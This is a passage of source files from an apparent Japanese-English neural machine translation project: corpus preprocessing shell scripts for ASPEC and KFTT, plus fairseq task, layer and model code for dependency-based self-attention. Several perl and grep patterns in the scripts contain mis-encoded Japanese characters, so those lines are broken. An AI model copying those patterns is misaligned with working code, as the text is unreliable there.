NUM_WORKERS=${NUM_WORKERS:-8}
NUM_WORKERS_GPU=${NUM_WORKERS_GPU:-2}
BPE_TOKENS=16000
PARALLEL_SCRIPT=$TOOLS_DIR/parallel/bin/parallel
PARALLEL="$PARALLEL_SCRIPT --no-notice --pipe -j $NUM_WORKERS -k"
PARALLEL_GPU="$PARALLEL_SCRIPT --no-notice --pipe -j $NUM_WORKERS_GPU -k"
MOSES_SCRIPTS=$TOOLS_DIR/mosesdecoder/scripts
MOSES_TOKENIZER=$MOSES_SCRIPTS/tokenizer/tokenizer.perl
KYTEA_TOKENIZER=$TOOLS_DIR/kytea/bin/kytea
NORM_PUNC=$MOSES_SCRIPTS/tokenizer/normalize-punctuation.perl
Z2H=$TOOLS_DIR/dnlp/wat/z2h-utf8.perl
CLEAN=$TOOLS_DIR/dnlp/preprocess/clean-corpus-with-labels.py
BPEROOT=$TOOLS_DIR/fastBPE
FASTBPE=$BPEROOT/fast
EDA=$TOOLS_DIR/eda/eda
EDA_MODEL=$TOOLS_DIR/eda/fullmodel.etm
CONLLU2HEADS=$TOOLS_DIR/dnlp/tools/conllu2heads.py
STANZA=$TOOLS_DIR/dnlp/tools/stanza_cli.py
BPE_DEP=$(dirname $0)/bpe_dependency.py
pushd $TOOLS_DIR >/dev/null
if not_exists $PARALLEL_SCRIPT || \
not_exists mosesdecoder || \
not_exists $KYTEA_TOKENIZER || \
not_exists $FASTBPE || \
not_exists dnlp || \
not_exists $EDA; then
echo "===> Some tools are not installed, start installing..."
script_mode='install'
fi
if not_exists $PARALLEL_SCRIPT; then
echo '====> Installing GNU parallel (for parallel execution)...'
git clone https://git.savannah.gnu.org/git/parallel.git
pushd parallel
./configure --prefix=$(pwd)
make -j4
make install
popd
if ! [[ -f $PARALLEL_SCRIPT ]]; then
echo "!!! GNU Parallel not successfully installed, abort."
exit -1
fi
echo 'Done.'
fi
if not_exists mosesdecoder; then
echo '====> Installing Moses (for tokenization scripts)...'
git clone https://github.com/moses-smt/mosesdecoder.git
echo 'Done.'
fi
if not_exists $KYTEA_TOKENIZER; then
echo '====> Installing KyTea (for tokenization scripts)...'
git clone https://github.com/neubig/kytea.git
pushd kytea
autoreconf -i
./configure --prefix=$(pwd)
make -j4
make install
popd
if not_exists $KYTEA_TOKENIZER; then
echo "!!! KyTea not successfully installed, abort."
exit -1
fi
echo 'Done.'
fi
if not_exists $FASTBPE; then
echo '====> Installing fastBPE repository (for BPE pre-processing)...'
git clone https://github.com/glample/fastBPE.git
pushd $BPEROOT
g++ -std=c++11 -pthread -O3 fastBPE/main.cc -IfastBPE -o fast
popd
if not_exists $FASTBPE; then
echo "!!! fastBPE not successfully installed, abort."
exit -1
fi
echo 'Done.'
fi
if not_exists dnlp; then
echo '====> Installing dnlp (for some tools)...'
git clone https://github.com/de9uch1/dnlp.git
echo 'Done.'
fi
if not_exists $EDA; then
echo '====> Installing EDA (for Japanese dependency parsing)...'
curl -sL "http://www.ar.media.kyoto-u.ac.jp/tool/EDA/downloads/eda-0.3.5.tar.gz" | tar xz
mv eda-0.3.5 eda
pushd eda
make eda
curl -sL "http://www.ar.media.kyoto-u.ac.jp/tool/EDA/downloads/20170713_fullmodel.tar.gz" | tar xz
popd
if not_exists $EDA; then
echo "!!! EDA not successfully installed, abort."
exit -1
fi
echo 'Done.'
fi
if [[ $script_mode = 'install' ]]; then
echo '===> Installation is complete!'
fi
popd >/dev/null
src=ja
tgt=en
train_size=1500000
OUTDIR=aspec_ja_en
prep=$OUTDIR
tmp=$prep/tmp
orig=$prep/orig
valid_set=dev
mkdir -p $prep $orig $tmp
cat $ASPEC_JE/train/train-{1,2,3}.txt | head -n $train_size > $orig/train.txt
cp $ASPEC_JE/dev/dev.txt $orig/dev.txt
cp $ASPEC_JE/devtest/devtest.txt $orig/devtest.txt
cp $ASPEC_JE/test/test.txt $orig/test.txt
set -e
echo "===> Start preprocessing"
echo "====> Extracting sentences..."
for split in dev devtest test; do
perl -ne 'chomp; @a=split/ \|\|\| /; print $a[2], "\n";' < $orig/$split.txt > $orig/$split.ja
perl -ne 'chomp; @a=split/ \|\|\| /; print $a[3], "\n";' < $orig/$split.txt > $orig/$split.en
done
for split in train; do
perl -ne 'chomp; @a=split/ \|\|\| /; print $a[3], "\n";' < $orig/$split.txt > $orig/$split.ja
perl -ne 'chomp; @a=split/ \|\|\| /; print $a[4], "\n";' < $orig/$split.txt > $orig/$split.en
done
echo "Done."
echo "====> Removing date expressions at EOS in Japanese in the training and development data to reduce noise..."
for split in train dev devtest; do
mv $orig/$split.ja $orig/$split.ja.org
cat $orig/$split.ja.org | perl -C -pe 'use utf8; s/(.)๏ผป[๏ผ-๏ผ๏ผ]+๏ผฝ$/$1/;' > $orig/$split.ja
rm $orig/$split.ja.org
done
echo "Done."
pushd $orig >/dev/null
for l in $src $tgt; do
ln -sf $valid_set.$l valid.$l
done
popd >/dev/null
echo "====> Tokenizing sentences in Japanese..."
for split in train valid test; do
cat $orig/$split.ja | \
perl -C -pe 'use utf8; tr/\|[]/๏ฝ๏ผป๏ผฝ/; ' | \
$PARALLEL $KYTEA_TOKENIZER | \
tee $tmp/$split.ja.kytea | \
$PARALLEL $KYTEA_TOKENIZER -in full -out tok | \
perl -C -pe 'use utf8; s/ใ/ /g;' | \
perl -C -pe 'use utf8; s/^ +//; s/ +$//; s/ +/ /g;' \
> $tmp/$split.ja
done
echo "Done."
echo "====> Tokenizing sentences in English..."
for split in train valid test; do
cat $orig/$split.en | \
perl -C $Z2H | \
perl -C $NORM_PUNC -l en | \
perl -C $MOSES_TOKENIZER -threads $NUM_WORKERS -l en -a -no-escape 2>/dev/null | \
perl -C -pe 'use utf8; s/^ +//; s/ +$//; s/ +/ /g;' \
> $tmp/$split.en
done
echo "Done."
echo "====> Cleaning the corpus..."
python $CLEAN --ratio 2.0 -l ja.kytea $tmp/train $src $tgt $tmp/train.clean 1 100
for L in $src $tgt; do
mv $tmp/train.clean.$L $tmp/train.$L
cp $tmp/test.$L $prep/ref.$L
done
mv $tmp/train.clean.ja.kytea $tmp/train.ja.kytea
echo "Done."
echo "====> Learn BPE on $tmp/train.$src, $tmp/train.$tgt..."
BPE_CODE=$prep/code
for l in $src $tgt; do
train=train.$l
$FASTBPE learnbpe $BPE_TOKENS $tmp/$train > $BPE_CODE.$l
$FASTBPE applybpe $tmp/bpe$BPE_TOKENS.$train $tmp/$train $BPE_CODE.$l
$FASTBPE getvocab $tmp/bpe$BPE_TOKENS.$train > $prep/vocab.$l
done
echo "Done."
echo "====> Apply BPE..."
for l in $src $tgt; do
BPE_VOCAB=$prep/vocab.$l
for split in train valid test; do
f=$split.$l
echo "apply BPE to $f..."
$FASTBPE applybpe $prep/$f $tmp/$f $BPE_CODE.$l $prep/vocab.$l
done
done
echo "Done."
echo "====> Parsing dependency structures in Japanese..."
for split in train valid test; do
f=$split.ja
cat $tmp/$f.kytea | \
perl -pe "s@ใ/็ฉบ็ฝ/๏ผฟ@@g" | \
perl -pe "s@ใ/็ฉบ็ฝ/ใใใฏใ@@g" | \
perl -pe "s@ใใ/่ฃๅฉ่จๅท/๏ผฟ๏ผฟ@@g" | \
perl -pe "s@ใ/@/@g" | \
perl -pe "s@ ใ@ @g" | \
perl -pe "s@ +@ @g" \
> $tmp/$f.kytea.clean
mv $tmp/$f.kytea.clean $tmp/$f.kytea
cat $tmp/$f.kytea | \
$PARALLEL $EDA -i kytea -o conll -m $EDA_MODEL | \
$CONLLU2HEADS --split-fwspace \
> $tmp/$f.dep
python $BPE_DEP -t $prep/$f < $tmp/$f.dep > $prep/$f.dep
done
echo "Done."
echo "====> Parsing dependency structures in English..."
for split in train valid test; do
f=$split.en
cat $tmp/$f | \
python $STANZA --depparse -l en --batch-size 10000 > $tmp/$f.dep
python $BPE_DEP -t $prep/$f < $tmp/$f.dep > $prep/$f.dep
done
echo "Done."
echo "===> Preprocessing is all complete!"
```
__init__.py
```# Copyright (c) Hiroyuki Deguchi
#
# This source code is licensed under the MIT license found in the
# LICENSE file in the root directory of this source tree.
from . import (
criterions,
models,
tasks,
)
```
prepare-kftt.sh
```#!/bin/bash
# Copyright (c) Hiroyuki Deguchi
#
# This source code is licensed under the MIT license found in the
# LICENSE file in the root directory of this source tree.
function not_exists() {
! [[ -d $TOOLS_DIR/$1 ]] && ! [[ -f $1 ]]
}
function corpora_not_exists() {
! [[ -d $orig ]] || ! [[ -f $orig/train.$src ]]
}
TOOLS_DIR=$(realpath ${TOOLS_DIR:-$HOME/.cache/nlp_tools})
mkdir -p $TOOLS_DIR
NUM_WORKERS=${NUM_WORKERS:-8}
BPE_TOKENS=16000
PARALLEL_SCRIPT=$TOOLS_DIR/parallel/bin/parallel
PARALLEL="$PARALLEL_SCRIPT --no-notice --pipe -j $NUM_WORKERS -k"
MOSES_SCRIPTS=$TOOLS_DIR/mosesdecoder/scripts
MOSES_TOKENIZER=$MOSES_SCRIPTS/tokenizer/tokenizer.perl
KYTEA_TOKENIZER=$TOOLS_DIR/kytea/bin/kytea
CLEAN=$TOOLS_DIR/dnlp/preprocess/clean-corpus-with-labels.py
BPEROOT=$TOOLS_DIR/fastBPE
FASTBPE=$BPEROOT/fast
EDA=$TOOLS_DIR/eda/eda
EDA_MODEL=$TOOLS_DIR/eda/fullmodel.etm
STANZA=$TOOLS_DIR/dnlp/tools/stanza_cli.py
BPE_DEP=$(dirname $0)/bpe_dependency.py
pushd $TOOLS_DIR >/dev/null
if not_exists $PARALLEL_SCRIPT; then
echo 'Cloning GNU parallel github repository (for parallel execution)...'
git clone https://git.savannah.gnu.org/git/parallel.git
pushd parallel
./configure --prefix=$(pwd)
make -j4
make install
popd
if ! [[ -f $PARALLEL_SCRIPT ]]; then
echo "GNU Parallel not successfully installed, abort."
exit -1
fi
fi
if not_exists mosesdecoder; then
echo 'Cloning Moses github repository (for tokenization scripts)...'
git clone https://github.com/moses-smt/mosesdecoder.git
fi
if not_exists $KYTEA_TOKENIZER; then
echo 'Cloning KyTea github repository (for tokenization scripts)...'
git clone https://github.com/neubig/kytea.git
pushd kytea
autoreconf -i
./configure --prefix=$(pwd)
make -j4
make install
popd
if not_exists $KYTEA_TOKENIZER; then
echo "KyTea not successfully installed, abort."
exit -1
fi
fi
if not_exists $FASTBPE; then
echo 'Cloning fastBPE repository (for BPE pre-processing)...'
git clone https://github.com/glample/fastBPE.git
pushd $BPEROOT
g++ -std=c++11 -pthread -O3 fastBPE/main.cc -IfastBPE -o fast
popd
if not_exists $FASTBPE; then
echo "fastBPE not successfully installed, abort."
exit -1
fi
fi
if not_exists dnlp; then
echo 'Cloning dnlp repository (for some tools)...'
git clone https://github.com/de9uch1/dnlp.git
fi
if not_exists $EDA; then
echo 'Installing EDA (for Japanese dependency parsing)...'
curl -sL "http://www.ar.media.kyoto-u.ac.jp/tool/EDA/downloads/eda-0.3.5.tar.gz" | tar xz
mv eda-0.3.5 eda
pushd eda
make eda
curl -sL "http://www.ar.media.kyoto-u.ac.jp/tool/EDA/downloads/20170713_fullmodel.tar.gz" | tar xz
popd
if not_exists $EDA; then
echo "EDA not successfully installed, abort."
exit -1
fi
fi
popd >/dev/null
src=ja
tgt=en
OUTDIR=kftt
prep=$OUTDIR
tmp=$prep/tmp
orig=$prep/orig
mkdir -p $prep $orig $tmp
if corpora_not_exists; then
pushd $orig
curl -sL http://www.phontron.com/kftt/download/kftt-data-1.0.tar.gz | tar xz
for split in train dev test; do
for l in ja en; do
mv kftt-data-1.0/data/orig/kyoto-$split.$l $split.$l
if [[ $split = "dev" ]]; then
mv $split.$l valid.$l
fi
done
done
rm -r kftt-data-1.0
popd
if corpora_not_exists; then
echo "Corpora not successfully downloaded, abort."
rm -r $orig
exit -1
fi
fi
echo "removing noise sentences..."
paste $orig/train.$src $orig/train.$tgt | \
grep -v '๏ผใใใ๏ผ' \
> $tmp/train.$src-$tgt.tsv
cut -f1 $tmp/train.$src-$tgt.tsv > $tmp/train.$src
cut -f2 $tmp/train.$src-$tgt.tsv > $tmp/train.$tgt
for split in valid test; do
for l in $src $tgt; do
f=$split.$l
cp $orig/$f $tmp/$f
done
done
echo "tokenizing sentences in Japanese..."
for split in train valid test; do
cat $tmp/$split.ja | \
$PARALLEL $KYTEA_TOKENIZER | \
tee $tmp/$split.ja.kytea | \
$PARALLEL $KYTEA_TOKENIZER -in full -out tok | \
perl -pe 's/ใ/ /g;' | \
perl -pe 's/^ +//; s/ +$//; s/ +/ /g;' \
> $tmp/$split.ja.tok
mv $tmp/$split.ja.tok $tmp/$split.ja
done
echo "tokenizing sentences in English..."
for split in train valid test; do
cat $tmp/$split.en | \
perl $MOSES_TOKENIZER -threads $NUM_WORKERS -l en \
> $tmp/$split.en.tok
mv $tmp/$split.en.tok $tmp/$split.en
done
echo "cleaning corpus..."
python $CLEAN --ratio 2.0 -l ja.kytea $tmp/train $src $tgt $tmp/train.clean 1 100
for L in $src $tgt; do
cp $tmp/test.$L $prep/ref.$L
mv $tmp/train.clean.$L $tmp/train.$L
done
mv $tmp/train.clean.ja.kytea $tmp/train.ja.kytea
echo "learn BPE on $tmp/train.$src, $tmp/train.$tgt..."
BPE_CODE=$prep/code
for L in $src $tgt; do
f=train.$L
c=$BPE_CODE.$L
$FASTBPE learnbpe $BPE_TOKENS $tmp/$f > $c
$FASTBPE applybpe $tmp/bpe.$f $tmp/$f $c
$FASTBPE getvocab $tmp/bpe.$f > $prep/vocab.$L
done
for L in $src $tgt; do
BPE_VOCAB=$prep/vocab.$L
for f in train.$L valid.$L test.$L; do
echo "apply BPE to ${f}..."
$FASTBPE applybpe $prep/$f $tmp/$f $BPE_CODE.$L $BPE_VOCAB
done
done
echo "parse dependency trees..."
for split in train valid test; do
f=$split.ja
cat $tmp/$f.kytea | \
perl -pe "s@ใ/็ฉบ็ฝ/๏ผฟ@@g" | \
perl -pe "s@ใ/็ฉบ็ฝ/ใใใฏใ@@g" | \
perl -pe "s@ใใ/่ฃๅฉ่จๅท/๏ผฟ๏ผฟ@@g" | \
perl -pe "s@ใ/@/@g" | \
perl -pe "s@ ใ@ @g" | \
perl -pe "s@ +@ @g" \
> $tmp/$f.kytea.clean
mv $tmp/$f.kytea.clean $tmp/$f.kytea
cat $tmp/$f.kytea | \
$PARALLEL $EDA -i kytea -o conll -m $EDA_MODEL | \
cut -d ' ' -f 7 | \
perl -pe 's/-1/0/g; s/([0-9])\n/$1 /g' | \
perl -pe 's/ $//g' \
> $tmp/$f.dep
python $BPE_DEP -t $prep/$f < $tmp/$f.dep > $prep/$f.dep
done
for split in train valid test; do
f=$split.en
python $STANZA --depparse -l en --batch-size 20000 < $tmp/$f > $tmp/$f.dep
python $BPE_DEP -t $prep/$f < $tmp/$f.dep > $prep/$f.dep
done
```
translation_dep.py
```# Copyright (c) Hiroyuki Deguchi
#
# This source code is licensed under the MIT license found in the
# LICENSE file in the root directory of this source tree.
from argparse import Namespace
import json
import itertools
import logging
import os
import numpy as np
import torch
from fairseq import metrics, options, utils
from fairseq.data import (
AppendTokenDataset,
ConcatDataset,
data_utils,
encoders,
indexed_dataset,
# LanguagePairDataset,
PrependTokenDataset,
RawLabelDataset,
StripTokenDataset,
TruncateDataset,
)
from fairseq.tasks import register_task
from fairseq.tasks.translation import TranslationTask
from dbsa.data import LanguagePairDatasetWithDependency
logger = logging.getLogger(__name__)
def load_langpair_dataset(
data_path, split,
src, src_dict,
tgt, tgt_dict,
combine, dataset_impl, upsample_primary,
left_pad_source, left_pad_target, max_source_positions,
max_target_positions, prepend_bos=False, load_alignments=False,
load_dependency=False, gold_dependency=False,
dependency_with_input=False,
truncate_source=False, remove_eos_from_source=True, append_source_id=False,
num_buckets=0,
shuffle=True,
):
def split_exists(split, src, tgt, lang, data_path):
filename = os.path.join(data_path, '{}.{}-{}.{}'.format(split, src, tgt, lang))
return indexed_dataset.dataset_exists(filename, impl=dataset_impl)
src_datasets = []
tgt_datasets = []
for k in itertools.count():
split_k = split + (str(k) if k > 0 else '')
# infer langcode
if split_exists(split_k, src, tgt, src, data_path):
prefix = os.path.join(data_path, '{}.{}-{}.'.format(split_k, src, tgt))
elif split_exists(split_k, tgt, src, src, data_path):
prefix = os.path.join(data_path, '{}.{}-{}.'.format(split_k, tgt, src))
else:
if k > 0:
break
else:
raise FileNotFoundError('Dataset not found: {} ({})'.format(split, data_path))
src_dataset = data_utils.load_indexed_dataset(prefix + src, src_dict, dataset_impl)
if truncate_source:
src_dataset = AppendTokenDataset(
TruncateDataset(
StripTokenDataset(src_dataset, src_dict.eos()),
max_source_positions - 1,
),
src_dict.eos(),
)
src_datasets.append(src_dataset)
tgt_dataset = data_utils.load_indexed_dataset(prefix + tgt, tgt_dict, dataset_impl)
if tgt_dataset is not None:
tgt_datasets.append(tgt_dataset)
logger.info('{} {} {}-{} {} examples'.format(
data_path, split_k, src, tgt, len(src_datasets[-1])
))
if not combine:
break
assert len(src_datasets) == len(tgt_datasets) or len(tgt_datasets) == 0
if len(src_datasets) == 1:
src_dataset = src_datasets[0]
tgt_dataset = tgt_datasets[0] if len(tgt_datasets) > 0 else None
else:
sample_ratios = [1] * len(src_datasets)
sample_ratios[0] = upsample_primary
src_dataset = ConcatDataset(src_datasets, sample_ratios)
if len(tgt_datasets) > 0:
tgt_dataset = ConcatDataset(tgt_datasets, sample_ratios)
else:
tgt_dataset = None
if prepend_bos:
assert hasattr(src_dict, "bos_index") and hasattr(tgt_dict, "bos_index")
src_dataset = PrependTokenDataset(src_dataset, src_dict.bos())
if tgt_dataset is not None:
tgt_dataset = PrependTokenDataset(tgt_dataset, tgt_dict.bos())
eos = None
if append_source_id:
src_dataset = AppendTokenDataset(src_dataset, src_dict.index('[{}]'.format(src)))
if tgt_dataset is not None:
tgt_dataset = AppendTokenDataset(tgt_dataset, tgt_dict.index('[{}]'.format(tgt)))
eos = tgt_dict.index('[{}]'.format(tgt))
align_dataset = None
if load_alignments:
align_path = os.path.join(data_path, '{}.align.{}-{}'.format(split, src, tgt))
if indexed_dataset.dataset_exists(align_path, impl=dataset_impl):
align_dataset = data_utils.load_indexed_dataset(align_path, None, dataset_impl)
src_dep, tgt_dep = None, None
if load_dependency:
src_dep_path = os.path.join(data_path, '{}.dep.{}'.format(split, src))
tgt_dep_path = os.path.join(data_path, '{}.dep.{}'.format(split, tgt))
if os.path.exists(src_dep_path):
src_deps = []
with open(src_dep_path, 'r') as src_dep_data:
for h in src_dep_data:
src_deps.append(
torch.LongTensor([[i, int(x) - 1] for i, x in enumerate(h.strip().split())])
)
src_dep = RawLabelDataset(src_deps)
if os.path.exists(tgt_dep_path):
tgt_deps = []
with open(tgt_dep_path, 'r') as tgt_dep_data:
for h in tgt_dep_data:
tgt_deps.append(
torch.LongTensor([[i, int(x) - 1] for i, x in enumerate(h.strip().split())])
)
tgt_dep = RawLabelDataset(tgt_deps)
tgt_dataset_sizes = tgt_dataset.sizes if tgt_dataset is not None else None
return LanguagePairDatasetWithDependency(
src_dataset, src_dataset.sizes, src_dict,
tgt_dataset, tgt_dataset_sizes, tgt_dict,
left_pad_source=left_pad_source,
left_pad_target=left_pad_target,
remove_eos_from_source=remove_eos_from_source,
align_dataset=align_dataset, eos=eos,
src_dep=src_dep,
tgt_dep=tgt_dep,
dependency_with_input=dependency_with_input,
gold_dependency=gold_dependency,
num_buckets=num_buckets,
shuffle=shuffle,
)
@register_task('translation_dep')
class TranslationDependencyTask(TranslationTask):
"""
Translate from one (source) language to another (target) language.
Args:
src_dict (~fairseq.data.Dictionary): dictionary for the source language
tgt_dict (~fairseq.data.Dictionary): dictionary for the target language
.. note::
The translation task is compatible with :mod:`fairseq-train`,
:mod:`fairseq-generate` and :mod:`fairseq-interactive`.
The translation task provides the following additional command-line
arguments:
.. argparse::
:ref: fairseq.tasks.translation_parser
:prog:
"""
@staticmethod
def add_args(parser):
"""Add task-specific arguments to the parser."""
# fmt: off
TranslationTask.add_args(parser)
parser.add_argument('--remove-eos-from-source', action='store_true',
help='if set, remove eos from end of source if it\'s present')
parser.add_argument('--load-dependency', action='store_true',
help='load the dependency heads')
parser.add_argument('--dependency-with-input', action='store_true',
help='if set, target-side\'s dependencies are based on the inputs')
parser.add_argument('--use-gold-dependency', action='store_true',
help='use the source\'s gold dependency for inference')
parser.add_argument('--print-dependency', nargs='?', const='hard',
help='if set, uses attention feedback to compute and print dependency')
# fmt: on
def load_dataset(self, split, epoch=1, combine=False, **kwargs):
"""Load a given dataset split.
Args:
split (str): name of the split (e.g., train, valid, test)
"""
if getattr(self.args, 'use_gold_dependency', False):
self.args.load_dependency = True
super().load_dataset(split, epoch=epoch, combine=combine, **kwargs)
paths = utils.split_paths(self.args.data)
assert len(paths) > 0
if split != getattr(self.args, "train_subset", None):
# if not training data set, use the first shard for valid and test
paths = paths[:1]
data_path = paths[(epoch - 1) % len(paths)]
# infer langcode
src, tgt = self.args.source_lang, self.args.target_lang
self.datasets[split] = load_langpair_dataset(
data_path, split, src, self.src_dict, tgt, self.tgt_dict,
combine=combine, dataset_impl=self.args.dataset_impl,
upsample_primary=self.args.upsample_primary,
left_pad_source=self.args.left_pad_source,
left_pad_target=self.args.left_pad_target,
remove_eos_from_source=getattr(self.args, 'remove_eos_from_source', False),
max_source_positions=self.args.max_source_positions,
max_target_positions=self.args.max_target_positions,
load_alignments=self.args.load_alignments,
load_dependency=self.args.load_dependency,
gold_dependency=getattr(self.args, 'use_gold_dependency', False),
dependency_with_input=getattr(self.args, 'dependency_with_input', False),
truncate_source=self.args.truncate_source,
num_buckets=self.args.num_batch_buckets,
shuffle=(split != 'test'),
)
def build_dataset_for_inference(self, src_tokens, src_lengths, constraints=None):
return LanguagePairDatasetWithDependency(
src_tokens, src_lengths, self.source_dictionary,
tgt_dict=self.target_dictionary,
constraints=constraints
)
def build_generator(self, models, args, seq_gen_cls=None, extra_gen_cls_kwargs=None):
from dbsa.sequence_generator import (
SequenceGeneratorWithAttention,
)
extra_gen_cls_kwargs = extra_gen_cls_kwargs or {}
if getattr(self.args, "print_dependency", False):
seq_gen_cls = SequenceGeneratorWithAttention
extra_gen_cls_kwargs["print_dependency"] = self.args.print_dependency
if getattr(self.args, "print_alignment", False):
extra_gen_cls_kwargs['print_alignment'] = self.args.print_alignment
return super().build_generator(
models,
args,
seq_gen_cls=seq_gen_cls,
extra_gen_cls_kwargs=extra_gen_cls_kwargs,
)
```
transformer_layer.py
```# Copyright (c) Hiroyuki Deguchi
#
# This source code is licensed under the MIT license found in the
# LICENSE file in the root directory of this source tree.
from typing import Dict, Optional, Tuple
import torch
from torch import Tensor
import torch.nn.functional as F
from fairseq.modules import TransformerEncoderLayer
from dbsa.modules import DependencyBasedSelfAttention
class TransformerDependencyEncoderLayer(TransformerEncoderLayer):
"""Encoder layer block.
In the original paper each operation (multi-head attention or FFN) is
postprocessed with: `dropout -> add residual -> layernorm`. In the
tensor2tensor code they suggest that learning is more robust when
preprocessing each layer with layernorm and postprocessing with:
`dropout -> add residual`. We default to the approach in the paper, but the
tensor2tensor approach can be enabled by setting
*args.encoder_normalize_before* to ``True``.
Args:
args (argparse.Namespace): parsed command-line arguments
"""
def build_self_attention(self, embed_dim, args):
return DependencyBasedSelfAttention(
embed_dim,
args.encoder_attention_heads,
dropout=args.attention_dropout,
self_attention=True,
q_noise=self.quant_noise,
qn_block_size=self.quant_noise_block_size,
dependency_heads=args.dependency_heads,
)
def forward(
self,
x,
encoder_padding_mask,
attn_mask: Optional[Tensor] = None,
need_attn: bool = False,
need_head_weights: bool = False,
src_deps: Optional[Tensor] = None,
):
"""
Args:
x (Tensor): input to the layer of shape `(seq_len, batch, embed_dim)`
encoder_padding_mask (ByteTensor): binary ByteTensor of shape
`(batch, seq_len)` where padding elements are indicated by ``1``.
attn_mask (ByteTensor): binary tensor of shape `(tgt_len, src_len)`,
where `tgt_len` is the length of output and `src_len` is the
length of input, though here both are equal to `seq_len`.
`attn_mask[tgt_i, src_j] = 1` means that when calculating the
embedding for `tgt_i`, we exclude (mask out) `src_j`. This is
useful for strided self-attention.
need_attn (bool, optional): return attention weights.
need_head_weights (bool, optional): return attention weights
for each head (default: return average over heads).
Returns:
encoded output of shape `(seq_len, batch, embed_dim)`
"""
# anything in original attn_mask = 1, becomes -1e8
# anything in original attn_mask = 0, becomes 0
# Note that we cannot use -inf here, because at some edge cases,
# the attention weight (before softmax) for some padded element in query
# will become -inf, which results in NaN in model parameters
if attn_mask is not None:
attn_mask = attn_mask.masked_fill(attn_mask.to(torch.bool), -1e8)
if need_head_weights:
need_attn = True
residual = x
if self.normalize_before:
x = self.self_attn_layer_norm(x)
x, attn = self.self_attn(
query=x,
key=x,
value=x,
key_padding_mask=encoder_padding_mask,
attn_mask=attn_mask,
need_weights=need_attn,
need_head_weights=need_head_weights,
gold_dependency=src_deps,
)
x = self.dropout_module(x)
x = residual + x
if not self.normalize_before:
x = self.self_attn_layer_norm(x)
residual = x
if self.normalize_before:
x = self.final_layer_norm(x)
x = self.activation_fn(self.fc1(x))
x = self.activation_dropout_module(x)
x = self.fc2(x)
x = self.dropout_module(x)
x = residual + x
if not self.normalize_before:
x = self.final_layer_norm(x)
if need_attn:
return x, attn
return x, None
```
transformer_dep.py
```# Copyright (c) Hiroyuki Deguchi
#
# This source code is licensed under the MIT license found in the
# LICENSE file in the root directory of this source tree.
from typing import Optional
from torch import Tensor
from fairseq.models import register_model, register_model_architecture
from fairseq.models.transformer import (
base_architecture,
transformer_wmt_en_de_big,
TransformerModel,
TransformerEncoder,
)
from dbsa.modules import DependencyBasedSelfAttention, TransformerDependencyEncoderLayer
@register_model("transformer_dep")
class TransformerDepModel(TransformerModel):
"""
See "Dependency-Based Self-Attention for Transformer
NMT (Deguchi et al., 2019)" for more details.
"""
def __init__(self, encoder, decoder, args):
super().__init__(args, encoder, decoder)
self.dependency_heads = args.dependency_heads
self.dependency_layer = args.dependency_layer
@staticmethod
def add_args(parser):
# fmt: off
super(TransformerDepModel, TransformerDepModel).add_args(parser)
parser.add_argument('--dependency-heads', type=int, metavar='D',
help='Number of cross attention heads per layer to supervised with dependency heads')
parser.add_argument('--dependency-layer', type=int, metavar='D',
help='Layer number which has to be supervised. 0 corresponding to the bottommost layer.')
# fmt: on
@classmethod
def build_encoder(cls, args, src_dict, embed_tokens):
return TransformerDependencyEncoder(args, src_dict, embed_tokens)
@classmethod
def build_model(cls, args, task):
# set any default arguments
transformer_dep(args)
transformer_model = TransformerModel.build_model(args, task)
encoder, decoder = transformer_model.encoder, transformer_model.decoder
encoder = cls.build_encoder(args, encoder.dictionary, encoder.embed_tokens)
dep_layer = getattr(args, "dependency_layer", 0)
if args.dependency_layer >= 0:
encoder.layers[dep_layer] = TransformerDependencyEncoderLayer(args)
decoder.layers[dep_layer].self_attn = DependencyBasedSelfAttention(
decoder.layers[dep_layer].embed_dim,
args.decoder_attention_heads,
dropout=args.attention_dropout,
self_attention=True,
q_noise=decoder.layers[dep_layer].quant_noise,
qn_block_size=decoder.layers[dep_layer].quant_noise_block_size,
dependency_heads=args.dependency_heads,
)
return TransformerDepModel(encoder, decoder, args)
def forward(self, src_tokens, src_lengths, prev_output_tokens, **kwargs):
encoder_out = self.encoder(
src_tokens,
src_lengths,
return_all_attn=True,
src_deps=kwargs.get('src_deps', None),
)
decoder_out, decoder_attn = self.decoder(
prev_output_tokens,
encoder_out,
return_all_self_attn=True,
)
encoder_self_attn = (
encoder_out
['encoder_attn']
[self.dependency_layer]
[:self.dependency_heads]
.mean(dim=0)
)
decoder_self_attn = (
decoder_attn
['self_attn']
[self.dependency_layer]
[:self.dependency_heads]
.mean(dim=0)
)
dependency_out = {
'encoder_self_attn': encoder_self_attn,
'decoder_self_attn': decoder_self_attn,
}
return decoder_out, dependency_out
class TransformerDependencyEncoder(TransformerEncoder):
"""
Transformer encoder consisting of *args.encoder_layers* layers. Each layer
is a :class:`TransformerEncoderLayer`.
Args:
args (argparse.Namespace): parsed command-line arguments
dictionary (~fairseq.data.Dictionary): encoding dictionary
embed_tokens (torch.nn.Embedding): input embedding
"""
def forward(
self,
src_tokens,
src_lengths,
return_all_hiddens: bool = False,
return_all_attn: bool = False,
token_embeddings: Optional[Tensor] = None,
src_deps: Optional[Tensor] = None,
dependency_layer: int = 0,
):
"""
Args:
src_tokens (LongTensor): tokens in the source language of shape
`(batch, src_len)`
src_lengths (torch.LongTensor): lengths of each source sentence of
shape `(batch)`
return_all_hiddens (bool, optional): also return all of the
intermediate hidden states (default: False).
return_all_attn (bool, optional): also return all of the
intermediate layers' attention weights (default: False).
token_embeddings (torch.Tensor, optional): precomputed embeddings
default `None` will recompute embeddings
Returns:
namedtuple:
- **encoder_out** (Tensor): the last encoder layer's output of
shape `(src_len, batch, embed_dim)`
- **encoder_padding_mask** (ByteTensor): the positions of
padding elements of shape `(batch, src_len)`
- **encoder_embedding** (Tensor): the (scaled) embedding lookup
of shape `(batch, src_len, embed_dim)`
- **encoder_states** (List[Tensor]): all intermediate
hidden states of shape `(src_len, batch, embed_dim)`.
Only populated if *return_all_hiddens* is True.
- **encoder_attn** (List[Tensor]): all intermediate
layers' attention weights of shape `(num_heads, batch, src_len, src_len)`.
Only populated if *return_all_attn* is True.
"""
x, encoder_embedding = self.forward_embedding(src_tokens)
# B x T x C -> T x B x C
x = x.transpose(0, 1)
# compute padding mask
encoder_padding_mask = src_tokens.eq(self.padding_idx)
encoder_states = []
encoder_attn = []
# encoder layers
for i, layer in enumerate(self.layers):
if i == dependency_layer and src_deps is not None:
x, attn = layer(
x, encoder_padding_mask, need_head_weights=return_all_attn,
src_deps=src_deps,
)
else:
x, attn = layer(x, encoder_padding_mask, need_head_weights=return_all_attn)
if return_all_hiddens:
assert encoder_states is not None
encoder_states.append(x)
if return_all_attn and attn is not None:
